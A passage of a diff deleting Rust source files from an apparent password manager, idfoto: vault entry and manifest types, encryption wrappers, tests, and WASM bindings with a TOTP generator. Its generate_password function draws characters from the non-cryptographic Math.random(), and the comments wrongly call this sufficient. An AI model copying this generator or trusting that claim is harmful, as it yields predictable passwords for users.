pub name: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub url: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub username: Option<String>,
pub password: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub notes: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub totp_secret: Option<String>,
/// Optional group for organizing entries (e.g. "work", "personal").
#[serde(skip_serializing_if = "Option::is_none")]
pub group: Option<String>,
pub created_at: String,
pub updated_at: String,
}
/// Summary metadata for a single entry, stored in the manifest.
///
/// This is a lightweight projection of [`Entry`] that contains only the
/// non-sensitive fields needed for listing and searching. The password,
/// notes, and TOTP secret are intentionally excluded so that listing
/// entries requires decrypting only the manifest, not every individual entry.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ManifestEntry {
/// Human-readable label for display and search matching.
pub name: String,
/// Login URL for search matching and browser extension autofill.
#[serde(skip_serializing_if = "Option::is_none")]
pub url: Option<String>,
/// Account username for display in entry listings.
#[serde(skip_serializing_if = "Option::is_none")]
pub username: Option<String>,
/// Optional group for organizing entries (e.g. "work", "personal").
#[serde(skip_serializing_if = "Option::is_none")]
pub group: Option<String>,
/// Timestamp of last modification, used for sorting and display.
pub updated_at: String,
}
/// The vault manifest -- an encrypted index mapping entry IDs to their metadata.
///
/// The manifest serves two purposes:
///
/// 1. **Efficient listing**: decrypting the single manifest file is enough to show
/// all entry names, URLs, and usernames without touching individual entry files.
/// 2. **Search**: the [`search`](Manifest::search) method performs case-insensitive
/// substring matching against entry names and URLs.
///
/// The `version` field allows future schema migrations if the manifest format evolves.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Manifest {
/// Map from entry ID (8-char hex string) to entry metadata.
pub entries: HashMap<String, ManifestEntry>,
/// Schema version. Currently always `1`.
pub version: u32,
}
impl Manifest {
/// Create a new empty manifest with version 1.
pub fn new() -> Self {
Manifest {
entries: HashMap::new(),
version: 1,
}
}
/// Insert or update an entry in the manifest.
///
/// If an entry with the same ID already exists, it is overwritten.
/// This is used both for `add` (new entry) and `edit` (update existing).
pub fn add_entry(&mut self, id: String, entry: ManifestEntry) {
self.entries.insert(id, entry);
}
/// Remove an entry from the manifest by ID, returning its metadata if it existed.
pub fn remove_entry(&mut self, id: &str) -> Option<ManifestEntry> {
self.entries.remove(id)
}
/// Search entries by case-insensitive substring match against name and URL.
///
/// Returns a vector of `(id, entry)` pairs for all matching entries. An entry
/// matches if the query appears in its name or URL (case-insensitive).
pub fn search(&self, query: &str) -> Vec<(&String, &ManifestEntry)> {
let q = query.to_lowercase();
self.entries
.iter()
.filter(|(_, e)| {
e.name.to_lowercase().contains(&q)
|| e.url
.as_deref()
.map(|u| u.to_lowercase().contains(&q))
.unwrap_or(false)
})
.collect()
}
}
impl Default for Manifest {
fn default() -> Self {
Self::new()
}
}
/// Generate a random 8-character hex string to use as an entry ID.
///
/// Uses 4 random bytes (32 bits of entropy), producing IDs like `"a1b2c3d4"`.
/// This gives ~4 billion possible values, which is more than sufficient for
/// a family-scale vault (typically < 1000 entries).
pub fn generate_entry_id() -> String {
let mut rng = rand::thread_rng();
let bytes: [u8; 4] = rng.gen();
bytes.iter().map(|b| format!("{:02x}", b)).collect()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn entry_serialization_round_trip() {
let entry = Entry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
password: "s3cr3t".to_string(),
notes: None,
totp_secret: None,
group: None,
created_at: "2024-01-01T00:00:00Z".to_string(),
updated_at: "2024-01-01T00:00:00Z".to_string(),
};
let json = serde_json::to_string(&entry).unwrap();
let decoded: Entry = serde_json::from_str(&json).unwrap();
assert_eq!(decoded.name, entry.name);
assert_eq!(decoded.url, entry.url);
assert_eq!(decoded.username, entry.username);
assert_eq!(decoded.password, entry.password);
assert_eq!(decoded.notes, entry.notes);
}
#[test]
fn manifest_add_and_lookup() {
let mut manifest = Manifest::new();
let me = ManifestEntry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
group: None,
updated_at: "2024-01-01T00:00:00Z".to_string(),
};
manifest.add_entry("abc12345".to_string(), me);
assert!(manifest.entries.contains_key("abc12345"));
assert_eq!(manifest.entries["abc12345"].name, "GitHub");
let removed = manifest.remove_entry("abc12345");
assert!(removed.is_some());
assert!(!manifest.entries.contains_key("abc12345"));
}
#[test]
fn manifest_serialization_round_trip() {
let mut manifest = Manifest::new();
manifest.add_entry(
"deadbeef".to_string(),
ManifestEntry {
name: "Gmail".to_string(),
url: Some("https://mail.google.com".to_string()),
username: Some("user@gmail.com".to_string()),
group: None,
updated_at: "2024-06-01T00:00:00Z".to_string(),
},
);
let json = serde_json::to_string(&manifest).unwrap();
let decoded: Manifest = serde_json::from_str(&json).unwrap();
assert_eq!(decoded.version, 1);
assert!(decoded.entries.contains_key("deadbeef"));
assert_eq!(decoded.entries["deadbeef"].name, "Gmail");
}
#[test]
fn generate_entry_id_is_8_hex_chars() {
let id = generate_entry_id();
assert_eq!(id.len(), 8);
assert!(id.chars().all(|c| c.is_ascii_hexdigit()));
}
#[test]
fn manifest_search_case_insensitive() {
let mut manifest = Manifest::new();
manifest.add_entry(
"id001".to_string(),
ManifestEntry {
name: "GitHub Account".to_string(),
url: Some("https://github.com".to_string()),
username: None,
group: None,
updated_at: "2024-01-01T00:00:00Z".to_string(),
},
);
manifest.add_entry(
"id002".to_string(),
ManifestEntry {
name: "Work Email".to_string(),
url: Some("https://mail.example.com".to_string()),
username: None,
group: None,
updated_at: "2024-01-01T00:00:00Z".to_string(),
},
);
// partial name match, case-insensitive
let results = manifest.search("github");
assert_eq!(results.len(), 1);
assert_eq!(results[0].1.name, "GitHub Account");
// partial URL match
let results = manifest.search("mail.example");
assert_eq!(results.len(), 1);
assert_eq!(results[0].1.name, "Work Email");
// no match
let results = manifest.search("nonexistent");
assert_eq!(results.len(), 0);
}
#[test]
fn entry_deserializes_without_group_field() {
// JSON from an older vault that has no "group" key — must deserialize with group: None
let json = r#"{
"name": "OldEntry",
"url": "https://example.com",
"username": "bob",
"password": "hunter2",
"created_at": "2024-01-01T00:00:00Z",
"updated_at": "2024-01-01T00:00:00Z"
}"#;
let entry: Entry = serde_json::from_str(json).expect("should deserialize without group field");
assert_eq!(entry.name, "OldEntry");
assert_eq!(entry.group, None);
}
#[test]
fn manifest_entry_deserializes_without_group_field() {
// JSON from an older manifest that has no "group" key — must deserialize with group: None
let json = r#"{
"name": "OldEntry",
"url": "https://example.com",
"username": "bob",
"updated_at": "2024-01-01T00:00:00Z"
}"#;
let me: ManifestEntry = serde_json::from_str(json)
.expect("should deserialize ManifestEntry without group field");
assert_eq!(me.name, "OldEntry");
assert_eq!(me.group, None);
}
#[test]
fn entry_with_group_round_trips() {
let entry = Entry {
name: "Work Laptop".to_string(),
url: None,
username: Some("alice@corp.example".to_string()),
password: "p@ssw0rd".to_string(),
notes: None,
totp_secret: None,
group: Some("work".to_string()),
created_at: "2024-03-15T00:00:00Z".to_string(),
updated_at: "2024-03-15T00:00:00Z".to_string(),
};
let json = serde_json::to_string(&entry).unwrap();
// The group field should be present in the JSON output
assert!(json.contains("\"group\""), "serialized JSON should contain group field");
assert!(json.contains("\"work\""), "serialized JSON should contain group value");
let decoded: Entry = serde_json::from_str(&json).unwrap();
assert_eq!(decoded.name, "Work Laptop");
assert_eq!(decoded.group, Some("work".to_string()));
}
}

View File

@@ -1,47 +0,0 @@
//! # idfoto-core
//!
//! Platform-agnostic core library for the idfoto password manager.
//!
//! This crate is intentionally **bytes-in/bytes-out** -- it performs no filesystem
//! access, no network I/O, and no git operations. All inputs arrive as byte slices
//! or typed structs, and all outputs are returned as byte vectors or typed structs.
//! This design makes the crate portable to WASM, Android (via JNI/UniFFI), and iOS
//! without any conditional compilation or platform shims.
//!
//! ## Modules
//!
//! - [`error`] -- The unified error type ([`IdfotoError`]) used across the crate.
//! - [`crypto`] -- Argon2id key derivation and XChaCha20-Poly1305 authenticated
//! encryption. This is the low-level "encrypt bytes / decrypt bytes" layer.
//! - [`entry`] -- The vault data model: [`Entry`] (full credential),
//! [`ManifestEntry`] (searchable index metadata), and [`Manifest`] (the entry
//! index that lets you list/search without decrypting every entry).
//! - [`vault`] -- Typed wrappers around [`crypto`] that serialize structs to JSON
//! before encrypting, and deserialize after decrypting.
//! - [`imgsecret`] -- DCT-based steganography for embedding and extracting a
//! 256-bit secret in a JPEG image. This is the novel component that provides the
//! second authentication factor.
//!
//! ## Crypto pipeline
//!
//! ```text
//! passphrase (UTF-8 bytes) || image_secret (32 bytes from reference JPEG)
//! -> Argon2id(salt=vault_salt, m=64MiB, t=3, p=4)
//! -> master_key (32 bytes)
//! -> XChaCha20-Poly1305(nonce=random 24 bytes)
//! -> encrypted entry/manifest
//! ```
pub mod error;
pub use error::{IdfotoError, Result};
pub mod crypto;
pub use crypto::{decrypt, derive_master_key, encrypt, KdfParams};
pub mod entry;
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
pub mod vault;
pub use vault::{decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest};
pub mod imgsecret;

View File

@@ -1,150 +0,0 @@
//! Typed encryption/decryption wrappers for vault entries and manifests.
//!
//! This module bridges the gap between the raw bytes-in/bytes-out layer in
//! [`crate::crypto`] and the typed data model in [`crate::entry`]. Each function
//! follows the same pattern:
//!
//! - **Encrypt**: serialize the struct to JSON via serde, then encrypt the JSON
//! bytes with [`crate::crypto::encrypt`].
//! - **Decrypt**: decrypt the ciphertext with [`crate::crypto::decrypt`], then
//! deserialize the resulting JSON bytes back into the typed struct.
//!
//! ## Why a single master key
//!
//! All entries and the manifest are encrypted under the same `master_key`. This is
//! simpler than a per-entry subkey hierarchy and sufficient for family-scale vaults
//! (typically < 1000 entries). The security properties are equivalent: an attacker
//! who compromises the master key can decrypt everything regardless of whether
//! subkeys exist, and the vault's threat model already assumes the master key is
//! the single point of trust (protected by the two-factor KDF).
use crate::crypto;
use crate::entry::{Entry, Manifest};
use crate::error::Result;
/// Serialize an [`Entry`] to JSON and encrypt it under the master key.
///
/// The resulting bytes are written to `entries/<id>.enc` by the CLI.
///
/// # Errors
///
/// - [`crate::IdfotoError::Json`] if JSON serialization fails (should not happen
/// with well-formed Entry structs).
/// - [`crate::IdfotoError::Encrypt`] if the underlying AEAD operation fails.
pub fn encrypt_entry(master_key: &[u8; 32], entry: &Entry) -> Result<Vec<u8>> {
let json = serde_json::to_vec(entry)?;
crypto::encrypt(master_key, &json)
}
/// Decrypt an entry blob and deserialize it back into an [`Entry`].
///
/// # Errors
///
/// - [`crate::IdfotoError::Decrypt`] if the master key is wrong or the data is
/// tampered.
/// - [`crate::IdfotoError::Format`] if the ciphertext blob has an invalid header.
/// - [`crate::IdfotoError::Json`] if the decrypted JSON is malformed.
pub fn decrypt_entry(master_key: &[u8; 32], data: &[u8]) -> Result<Entry> {
let json = crypto::decrypt(master_key, data)?;
let entry: Entry = serde_json::from_slice(&json)?;
Ok(entry)
}
/// Serialize a [`Manifest`] to JSON and encrypt it under the master key.
///
/// The resulting bytes are written to `manifest.enc` by the CLI.
///
/// # Errors
///
/// Same as [`encrypt_entry`].
pub fn encrypt_manifest(master_key: &[u8; 32], manifest: &Manifest) -> Result<Vec<u8>> {
let json = serde_json::to_vec(manifest)?;
crypto::encrypt(master_key, &json)
}
/// Decrypt a manifest blob and deserialize it back into a [`Manifest`].
///
/// # Errors
///
/// Same as [`decrypt_entry`].
pub fn decrypt_manifest(master_key: &[u8; 32], data: &[u8]) -> Result<Manifest> {
let json = crypto::decrypt(master_key, data)?;
let manifest: Manifest = serde_json::from_slice(&json)?;
Ok(manifest)
}
#[cfg(test)]
mod tests {
use super::*;
use crate::entry::ManifestEntry;
fn test_key_a() -> [u8; 32] {
[0x42u8; 32]
}
fn test_key_b() -> [u8; 32] {
[0x99u8; 32]
}
fn sample_entry() -> Entry {
Entry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
password: "secret123".to_string(),
notes: None,
totp_secret: None,
group: None,
created_at: "2024-01-01T00:00:00Z".to_string(),
updated_at: "2024-01-01T00:00:00Z".to_string(),
}
}
#[test]
fn entry_encrypt_decrypt_round_trip() {
let key = test_key_a();
let entry = sample_entry();
let ciphertext = encrypt_entry(&key, &entry).unwrap();
let decoded = decrypt_entry(&key, &ciphertext).unwrap();
assert_eq!(decoded.name, "GitHub");
assert_eq!(decoded.password, "secret123");
assert_eq!(decoded.username, Some("alice".to_string()));
}
#[test]
fn manifest_encrypt_decrypt_round_trip() {
let key = test_key_a();
let mut manifest = Manifest::new();
manifest.add_entry(
"deadbeef".to_string(),
ManifestEntry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
group: None,
updated_at: "2024-01-01T00:00:00Z".to_string(),
},
);
let ciphertext = encrypt_manifest(&key, &manifest).unwrap();
let decoded = decrypt_manifest(&key, &ciphertext).unwrap();
assert_eq!(decoded.version, 1);
assert!(decoded.entries.contains_key("deadbeef"));
assert_eq!(decoded.entries["deadbeef"].name, "GitHub");
}
#[test]
fn entry_wrong_key_fails() {
let key_a = test_key_a();
let key_b = test_key_b();
let entry = sample_entry();
let ciphertext = encrypt_entry(&key_a, &entry).unwrap();
let result = decrypt_entry(&key_b, &ciphertext);
assert!(result.is_err());
}
}

View File

@@ -1,153 +0,0 @@
use idfoto_core::{
decrypt_entry, decrypt_manifest, derive_master_key, encrypt_entry, encrypt_manifest,
generate_entry_id, Entry, KdfParams, Manifest, ManifestEntry,
};
use rand::RngCore;
fn make_test_jpeg(width: u32, height: u32) -> Vec<u8> {
use image::codecs::jpeg::JpegEncoder;
use image::{ImageBuffer, ImageEncoder, Rgb};
let img = ImageBuffer::from_fn(width, height, |x, y| {
Rgb([
((x * 7 + y * 13) % 256) as u8,
((x * 11 + y * 3) % 256) as u8,
((x * 5 + y * 17) % 256) as u8,
])
});
let mut buf = Vec::new();
let encoder = JpegEncoder::new_with_quality(&mut buf, 92);
encoder
.write_image(img.as_raw(), width, height, image::ExtendedColorType::Rgb8)
.unwrap();
buf
}
fn fast_params() -> KdfParams {
KdfParams {
argon2_m: 256,
argon2_t: 1,
argon2_p: 1,
}
}
#[test]
fn full_vault_workflow() {
// 1. Generate carrier JPEG
let carrier = make_test_jpeg(400, 300);
// 2. Generate random image_secret and embed
let mut image_secret = [0u8; 32];
rand::thread_rng().fill_bytes(&mut image_secret);
let stego = idfoto_core::imgsecret::embed(&carrier, &image_secret).unwrap();
// 3. Extract and verify
let extracted = idfoto_core::imgsecret::extract(&stego).unwrap();
assert_eq!(extracted, image_secret, "extracted image_secret must match embedded");
// 4. Derive master_key with fast params
let passphrase = b"test-passphrase-long-enough";
let mut salt = [0u8; 32];
rand::thread_rng().fill_bytes(&mut salt);
let params = fast_params();
let master_key = derive_master_key(passphrase, &image_secret, &salt, &params).unwrap();
// 5. Create and encrypt an Entry
let entry = Entry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
password: "supersecret123!".to_string(),
notes: Some("my main account".to_string()),
totp_secret: None,
group: None,
created_at: "2024-01-01T00:00:00Z".to_string(),
updated_at: "2024-01-01T00:00:00Z".to_string(),
};
let encrypted = encrypt_entry(&master_key, &entry).unwrap();
// 6. Decrypt and verify fields match
let decrypted = decrypt_entry(&master_key, &encrypted).unwrap();
assert_eq!(decrypted.name, "GitHub");
assert_eq!(decrypted.password, "supersecret123!");
assert_eq!(decrypted.username, Some("alice".to_string()));
assert_eq!(decrypted.url, Some("https://github.com".to_string()));
assert_eq!(decrypted.notes, Some("my main account".to_string()));
// 7. Wrong passphrase -> different key -> decrypt fails
let wrong_key = derive_master_key(b"wrong-passphrase-entirely", &image_secret, &salt, &params).unwrap();
assert!(
decrypt_entry(&wrong_key, &encrypted).is_err(),
"decryption with wrong passphrase must fail"
);
// 8. Wrong image_secret -> different key -> decrypt fails
let mut wrong_secret = [0u8; 32];
rand::thread_rng().fill_bytes(&mut wrong_secret);
// Make sure it's actually different
if wrong_secret == image_secret {
wrong_secret[0] ^= 0xFF;
}
let wrong_key2 = derive_master_key(passphrase, &wrong_secret, &salt, &params).unwrap();
assert!(
decrypt_entry(&wrong_key2, &encrypted).is_err(),
"decryption with wrong image_secret must fail"
);
// 9. Manifest round-trip
let entry_id = generate_entry_id();
let mut manifest = Manifest::new();
manifest.add_entry(
entry_id.clone(),
ManifestEntry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
group: None,
updated_at: "2024-01-01T00:00:00Z".to_string(),
},
);
let manifest_enc = encrypt_manifest(&master_key, &manifest).unwrap();
let manifest_dec = decrypt_manifest(&master_key, &manifest_enc).unwrap();
assert_eq!(manifest_dec.version, 1);
assert!(manifest_dec.entries.contains_key(&entry_id));
assert_eq!(manifest_dec.entries[&entry_id].name, "GitHub");
}
#[test]
fn two_factor_independence() {
let mut salt = [0u8; 32];
rand::thread_rng().fill_bytes(&mut salt);
let params = fast_params();
let passphrase_a = b"passphrase-alpha";
let passphrase_b = b"passphrase-bravo";
let mut image_secret_a = [0u8; 32];
rand::thread_rng().fill_bytes(&mut image_secret_a);
let mut image_secret_b = [0u8; 32];
rand::thread_rng().fill_bytes(&mut image_secret_b);
// Ensure they differ
if image_secret_a == image_secret_b {
image_secret_b[0] ^= 0xFF;
}
// 1. (passphrase_A, image_A)
let key_aa = derive_master_key(passphrase_a, &image_secret_a, &salt, &params).unwrap();
// 2. (passphrase_B, image_A) -> different from #1
let key_ba = derive_master_key(passphrase_b, &image_secret_a, &salt, &params).unwrap();
assert_ne!(key_aa, key_ba, "different passphrase must produce different key");
// 3. (passphrase_A, image_B) -> different from #1
let key_ab = derive_master_key(passphrase_a, &image_secret_b, &salt, &params).unwrap();
assert_ne!(key_aa, key_ab, "different image_secret must produce different key");
// 4. (passphrase_B, image_B) -> different from all above
let key_bb = derive_master_key(passphrase_b, &image_secret_b, &salt, &params).unwrap();
assert_ne!(key_bb, key_aa, "key_bb must differ from key_aa");
assert_ne!(key_bb, key_ba, "key_bb must differ from key_ba");
assert_ne!(key_bb, key_ab, "key_bb must differ from key_ab");
}

View File

@@ -1,364 +0,0 @@
//! WASM bindings for the idfoto password manager.
//!
//! This crate wraps [`idfoto_core`] for use in a Chrome MV3 browser extension via
//! `wasm-bindgen`. Every function marked `#[wasm_bindgen]` is callable from
//! JavaScript after loading the compiled `.wasm` module.
//!
//! All crypto operations run entirely in the browser -- the extension never sends
//! secrets to any server. The TOTP function lets the extension generate live 6-digit
//! authenticator codes without a separate authenticator app.
//!
//! ## Design notes
//!
//! - Functions accept and return `Vec<u8>`, `&[u8]`, and `String` -- wasm-bindgen
//! handles the JS ↔ Rust marshalling automatically (typed arrays for bytes, strings
//! for JSON).
//! - Errors are mapped to `JsValue` strings so they surface as thrown exceptions in JS.
//! - `generate_password` and `generate_entry_id` use `js_sys::Math::random()` because
//! `OsRng`/`getrandom` requires special WASM configuration. `Math.random()` is
//! sufficient for these non-security-critical operations (password character selection
//! and identifier generation).
use wasm_bindgen::prelude::*;
use idfoto_core::crypto::{self, KdfParams};
use idfoto_core::entry::Entry;
use idfoto_core::vault;
use idfoto_core::imgsecret;
use hmac::{Hmac, Mac};
use sha1::Sha1;
/// Derive a 256-bit master key from a passphrase, image secret, salt, and KDF parameters.
///
/// The `params_json` argument is a JSON object with fields `argon2_m`, `argon2_t`,
/// and `argon2_p` (matching [`KdfParams`]). Example:
///
/// ```json
/// {"argon2_m": 65536, "argon2_t": 3, "argon2_p": 4}
/// ```
///
/// Returns a 32-byte `Uint8Array` in JavaScript.
#[wasm_bindgen]
pub fn derive_master_key(
passphrase: &str,
image_secret: &[u8],
salt: &[u8],
params_json: &str,
) -> Result<Vec<u8>, JsValue> {
let params: KdfParams =
serde_json::from_str(params_json).map_err(|e| JsValue::from_str(&e.to_string()))?;
let image_secret: &[u8; 32] = image_secret
.try_into()
.map_err(|_| JsValue::from_str("image_secret must be exactly 32 bytes"))?;
let salt: &[u8; 32] = salt
.try_into()
.map_err(|_| JsValue::from_str("salt must be exactly 32 bytes"))?;
let key = crypto::derive_master_key(passphrase.as_bytes(), image_secret, salt, &params)
.map_err(|e| JsValue::from_str(&e.to_string()))?;
Ok(key.to_vec())
}
/// Encrypt arbitrary plaintext bytes under a 256-bit key using XChaCha20-Poly1305.
///
/// Returns the ciphertext as a `Uint8Array` in the format:
/// `version(1) || nonce(24) || ciphertext+tag`.
#[wasm_bindgen]
pub fn encrypt(plaintext: &[u8], key: &[u8]) -> Result<Vec<u8>, JsValue> {
let key: &[u8; 32] = key
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
crypto::encrypt(key, plaintext).map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Decrypt a ciphertext blob produced by [`encrypt`], returning the original plaintext.
///
/// Returns the plaintext as a `Uint8Array`. Throws if the key is wrong or the data
/// has been tampered with.
#[wasm_bindgen]
pub fn decrypt(ciphertext: &[u8], key: &[u8]) -> Result<Vec<u8>, JsValue> {
let key: &[u8; 32] = key
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
crypto::decrypt(key, ciphertext).map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Extract the 32-byte steganographic secret from a JPEG image.
///
/// Returns a 32-byte `Uint8Array` containing the embedded secret.
/// Throws if the image is not a valid JPEG or the secret cannot be recovered.
#[wasm_bindgen]
pub fn extract_image_secret(jpeg_bytes: &[u8]) -> Result<Vec<u8>, JsValue> {
let secret =
imgsecret::extract(jpeg_bytes).map_err(|e| JsValue::from_str(&e.to_string()))?;
Ok(secret.to_vec())
}
/// Embed a 256-bit secret into a carrier JPEG image.
#[wasm_bindgen]
pub fn embed_image_secret(carrier_jpeg: &[u8], secret: &[u8]) -> Result<Vec<u8>, JsValue> {
let secret: [u8; 32] = secret
.try_into()
.map_err(|_| JsValue::from_str("secret must be exactly 32 bytes"))?;
idfoto_core::imgsecret::embed(carrier_jpeg, &secret)
.map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Encrypt an [`Entry`] (given as a JSON string) under the master key.
///
/// The `entry_json` must deserialize into an [`Entry`] struct. Returns the
/// ciphertext as a `Uint8Array`.
#[wasm_bindgen]
pub fn encrypt_entry(entry_json: &str, key: &[u8]) -> Result<Vec<u8>, JsValue> {
let key: &[u8; 32] = key
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
let entry: Entry =
serde_json::from_str(entry_json).map_err(|e| JsValue::from_str(&e.to_string()))?;
vault::encrypt_entry(key, &entry).map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Decrypt an entry ciphertext blob and return the entry as a JSON string.
///
/// Throws if the key is wrong, the data is tampered, or the decrypted JSON is malformed.
#[wasm_bindgen]
pub fn decrypt_entry(ciphertext: &[u8], key: &[u8]) -> Result<String, JsValue> {
let key: &[u8; 32] = key
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
let entry =
vault::decrypt_entry(key, ciphertext).map_err(|e| JsValue::from_str(&e.to_string()))?;
serde_json::to_string(&entry).map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Encrypt a [`Manifest`] (given as a JSON string) under the master key.
///
/// Returns the ciphertext as a `Uint8Array`.
#[wasm_bindgen]
pub fn encrypt_manifest(manifest_json: &str, key: &[u8]) -> Result<Vec<u8>, JsValue> {
let key: &[u8; 32] = key
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
let manifest: idfoto_core::entry::Manifest =
serde_json::from_str(manifest_json).map_err(|e| JsValue::from_str(&e.to_string()))?;
vault::encrypt_manifest(key, &manifest).map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Decrypt a manifest ciphertext blob and return the manifest as a JSON string.
///
/// Throws if the key is wrong, the data is tampered, or the decrypted JSON is malformed.
#[wasm_bindgen]
pub fn decrypt_manifest(ciphertext: &[u8], key: &[u8]) -> Result<String, JsValue> {
let key: &[u8; 32] = key
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
let manifest = vault::decrypt_manifest(key, ciphertext)
.map_err(|e| JsValue::from_str(&e.to_string()))?;
serde_json::to_string(&manifest).map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Generate a 6-digit TOTP code per RFC 6238.
///
/// # Arguments
///
/// - `secret_base32`: the shared secret encoded in base32 (with or without padding).
/// - `timestamp_secs`: the current Unix timestamp in seconds.
///
/// # Algorithm
///
/// 1. Decode the base32 secret.
/// 2. Compute the time step: `T = timestamp_secs / 30`.
/// 3. Compute `HMAC-SHA1(secret, T as big-endian u64)`.
/// 4. Dynamic truncation: extract a 4-byte segment from the HMAC output at an
/// offset determined by the last nibble.
/// 5. Mask the high bit, take modulo 10^6, and zero-pad to 6 digits.
///
/// Returns a 6-character string like `"287082"`.
#[wasm_bindgen]
pub fn generate_totp(secret_base32: &str, timestamp_secs: u64) -> Result<String, JsValue> {
generate_totp_inner(secret_base32, timestamp_secs)
.map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Inner TOTP implementation that returns a standard Result for testability
/// (avoids depending on JsValue in native tests).
fn generate_totp_inner(
secret_base32: &str,
timestamp_secs: u64,
) -> std::result::Result<String, String> {
// Normalize: strip whitespace, uppercase, remove padding for lenient decode,
// then re-pad to a multiple of 8 for strict base32.
let cleaned: String = secret_base32
.chars()
.filter(|c| !c.is_whitespace())
.collect::<String>()
.to_uppercase()
.trim_end_matches('=')
.to_string();
// Re-pad to a multiple of 8 characters (base32 requirement).
let padded = {
let remainder = cleaned.len() % 8;
if remainder == 0 {
cleaned
} else {
let pad_count = 8 - remainder;
format!("{}{}", cleaned, "=".repeat(pad_count))
}
};
let secret = data_encoding::BASE32
.decode(padded.as_bytes())
.map_err(|e| format!("invalid base32 secret: {}", e))?;
// Time step: T = floor(timestamp / 30)
let time_step = timestamp_secs / 30;
// HMAC-SHA1(secret, time_step as big-endian u64)
type HmacSha1 = Hmac<Sha1>;
let mut mac =
HmacSha1::new_from_slice(&secret).map_err(|e| format!("HMAC init failed: {}", e))?;
mac.update(&time_step.to_be_bytes());
let result = mac.finalize().into_bytes();
// Dynamic truncation per RFC 4226 section 5.4
let offset = (result[19] & 0x0F) as usize;
let code = ((result[offset] as u32 & 0x7F) << 24)
| ((result[offset + 1] as u32) << 16)
| ((result[offset + 2] as u32) << 8)
| (result[offset + 3] as u32);
// 6-digit code, zero-padded
Ok(format!("{:06}", code % 1_000_000))
}
/// Generate a random password of the given length.
///
/// Uses `js_sys::Math::random()` for randomness (not cryptographically secure,
/// but sufficient for password character selection). The character set includes
/// uppercase, lowercase, digits, and common symbols.
///
/// This function is only available in WASM -- it will panic in native builds
/// because `js_sys::Math::random()` requires a JS runtime.
#[wasm_bindgen]
pub fn generate_password(length: u32) -> String {
const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+[]{}|;:,.<>?";
(0..length)
.map(|_| {
let idx = (js_sys::Math::random() * CHARSET.len() as f64) as usize;
CHARSET[idx % CHARSET.len()] as char
})
.collect()
}
/// Generate a random 8-character hex string for use as an entry ID.
///
/// Uses `js_sys::Math::random()` for randomness. Entry IDs are not
/// security-sensitive -- they are just opaque identifiers.
///
/// This function is only available in WASM -- it will panic in native builds
/// because `js_sys::Math::random()` requires a JS runtime.
#[wasm_bindgen]
pub fn generate_entry_id() -> String {
(0..4)
.map(|_| {
let byte = (js_sys::Math::random() * 256.0) as u8;
format!("{:02x}", byte)
})
.collect()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn totp_rfc6238_test_vector() {
// secret = "12345678901234567890" ASCII, time = 59, expected = "287082"
let secret_b32 = data_encoding::BASE32.encode(b"12345678901234567890");
let result = generate_totp_inner(&secret_b32, 59).unwrap();
assert_eq!(result, "287082");
}
#[test]
fn totp_rfc6238_test_vector_2() {
// time = 1111111109, expected = "081804"
let secret_b32 = data_encoding::BASE32.encode(b"12345678901234567890");
let result = generate_totp_inner(&secret_b32, 1111111109).unwrap();
assert_eq!(result, "081804");
}
#[test]
fn totp_rfc6238_test_vector_3() {
// time = 1234567890, expected = "005924"
let secret_b32 = data_encoding::BASE32.encode(b"12345678901234567890");
let result = generate_totp_inner(&secret_b32, 1234567890).unwrap();
assert_eq!(result, "005924");
}
#[test]
fn totp_invalid_base32_fails() {
let result = generate_totp_inner("not-valid-base32!!!", 1000);
assert!(result.is_err());
}
#[test]
fn derive_key_via_wasm_wrapper() {
let params = r#"{"argon2_m":256,"argon2_t":1,"argon2_p":1}"#;
let key =
derive_master_key("test-passphrase", &[0x42u8; 32], &[0x01u8; 32], params).unwrap();
assert_eq!(key.len(), 32);
let key2 =
derive_master_key("test-passphrase", &[0x42u8; 32], &[0x01u8; 32], params).unwrap();
assert_eq!(key, key2);
}
#[test]
fn encrypt_decrypt_via_wasm_wrapper() {
let key = [0xABu8; 32];
let ciphertext = encrypt(b"hello wasm", &key).unwrap();
let decrypted = decrypt(&ciphertext, &key).unwrap();
assert_eq!(decrypted, b"hello wasm");
}
#[test]
fn embed_then_extract_round_trip() {
use image::codecs::jpeg::JpegEncoder;
use image::{ImageBuffer, ImageEncoder, Rgb};
let img = ImageBuffer::from_fn(400, 300, |x, y| {
Rgb([
((x * 7 + y * 13) % 256) as u8,
((x * 11 + y * 3) % 256) as u8,
((x * 5 + y * 17) % 256) as u8,
])
});
let mut jpeg_buf = Vec::new();
let encoder = JpegEncoder::new_with_quality(&mut jpeg_buf, 92);
